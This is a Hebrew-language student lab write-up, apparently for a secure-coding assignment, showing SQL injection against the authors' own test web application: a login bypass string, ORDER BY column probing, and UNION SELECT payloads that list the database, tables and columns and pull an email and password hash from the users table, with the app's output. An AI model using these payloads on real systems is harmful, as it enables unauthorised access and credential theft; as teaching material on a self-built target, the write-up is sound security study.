

הצגת דוגמא לשימוש בהתקפה מסוג Sqli בסעיף 3 מחלק א (במסך Login)

`admin' or '1'='1';#`

מאפשר לנו להיכנס למסך המערכת ללא הכנסת אימייל וסיסמא נכונים.

### Login

Email Address

Password

Login

Forgot your password? [Reset it here.](#)

הצגת דוגמא לשימוש בהתקפה מסוג Sqli בסעיף 4 מחלק א (במסך מערכת)

נתחיל בבדיקת מספר העמודות שהשאילתא שולפת במסך ה `search customer`.

`Hello' order by 1#`

`Hello' order by 2#`

`Hello' order by 3#`

`Hello' order by 4#`

### Search Customer

Search customer by first name

Submit

#### Customer found

ID	Name
1	Hello

*Hello' order by 5#* ואז במספר 5 קיבלנו הערה.  
מכך ניתן להסיק שמספר העמודות בטבלה ממנה אנחנו מתשאלים היא 4 עמודות.

An error occurred: (1054, "Unknown column '5' in 'order clause'")

Search Customer

Search customer by first name

Submit

Customer found

Cannot find customer.

כעת נוכל לכתוב שאילתא שתאפשר לנו לדעת מאיזה עמודה מגיע כל משתנה בטבלה.  
*1' UNION SELECT 1,2,3,4#*

Search Customer

Search customer by first name

Submit

Customer found

ID	Name
1	3

כעת נוכל להכניס פונקציות מערכת במקומות המתאימים ולקבל את התוצאה של פונקציות המערכת בטבלה.  
כאן במקום עמודה 3 רשמנו את הפונקציה version ומכך ניתן לדעת מה הגרסה של MySQL.  
*1' UNION SELECT 1,2,version(),4#*

Search Customer

Search customer by first name

Submit

Customer found

ID	Name
1	8.0.36

כעת נריץ פונקציה database שבאמצעותה אפשר לדעת את שם הטבלה עליה אנחנו מתשאלים.  
*1' UNION SELECT database(),2,3,4#*

Search Customer

Search customer by first name

1' UNION SELECT database(),2,3,4#

Submit

Customer found

ID	Name
projectdb	3

בדומה נריץ את פונקצית USER.  
*1' UNION SELECT USER(),2,3,4#*

Search Customer

Search customer by first name

1' UNION SELECT USER(),2,3,4#

Submit

Customer found

ID	Name
root@localhost	3

נשתמש בטבלת המערכת של My SQL כדי לגלות מהם שמות הטבלאות הקיימות ב DB.  
*1' UNION SELECT 1,2,table\_name,4 from information\_schema.TABLES WHERE table\_schema=database()#*

Search Customer

Search customer by first name

1' UNION SELECT 1,2,table\_name,4 from information\_schema.TABLES WHERE table\_schema=database()#

Submit

Customer found

ID	Customer Name
1	customers
1	password_history
1	users

השתמשנו שוב בטבלת המערכת על מנת למצוא את שמות העמודות שקיימים בטבלת users.  
`1' UNION SELECT 1,2,COLUMN_NAME,4 from information_schema.columns WHERE table_name='users'#`

## Search Customer

Search customer by first name

`1' UNION SELECT 1,2,COLUMN_NAME,4 from information_schema.columns WHERE table_name='users'#`

Submit

### Customer found

ID	Customer Name
1	USER
1	CURRENT_CONNECTIONS
1	TOTAL_CONNECTIONS
1	MAX_SESSION_CONTROLLED_MEMORY
1	MAX_SESSION_TOTAL_MEMORY
1	id
1	email
1	<u>password</u>
1	first_name
1	login_attempts
1	last_failed_attempt
1	is_blocked
1	block_expiration

עכשיו נרצה לקבל את רשימת האימייל והסיסמא מטבלת users.  
`1' UNION SELECT email,2,password,4 from users#`

## Search Customer

Search customer by first name

`1' UNION SELECT email,2,password,4 from users#`

Submit

### Customer found

ID	Customer Name
ofirbittan@gmail.com	<u>8c22d1434fdf8cc1ccacdd4b7371614287003d3b19c5dd19bf89abbbe085de8a</u>

בדקנו את הפונקציה Hash היא מאובטחת - בגרסה הלא מאובטחת מימשת Hash ללא salt אבל נחשב מאובטח לפי האתר הזה אבל בגרסה המאובטחת שהגשתי מימשנו עם salt.

CrackStation

CrackStation Password Hashing Security Defuse Security

Free Password Hash Cracker

Enter up to 20 non-salted hashes, one per line:

8c22d1434fd8cc1cccdd4b7371614287003d3b19c5dd19bf89abbbe085de8a

I'm not a robot

reCAPTCHA

Privacy - Terms

Crack Hashes

Supports: LM, NTLM, md2, md4, md5, md5(md5\_hex), md5-half, sha1, sha224, sha256, sha384, sha512, rpeMD160, whirlpool, MySQL 4.1+ (sha1(sha1\_bin)), Qubes/3.1BackupDefaults

Hash	Type	Result
8c22d1434fd8cc1cccdd4b7371614287003d3b19c5dd19bf89abbbe085de8a	Unknown	Not Found.

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

[Download CrackStation's Wordlist](#)

סעיף 1 - הצגת דוגמא לשימוש בהתקפה מסוג Sql'i בסעיף 1 מחלק א (במסך Sign up)  
הערה עקב חוסר בזמן לא הספקנו להעמיק את ההתקפה הנ"ל.

An error occurred: (1064. "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "" LIMIT 1" at line 1")

Your password length is less than 10 characters.

Sign up

Email Address

First name

Enter first name

Password

Enter password

Password (confirm)

Confirm password

Submit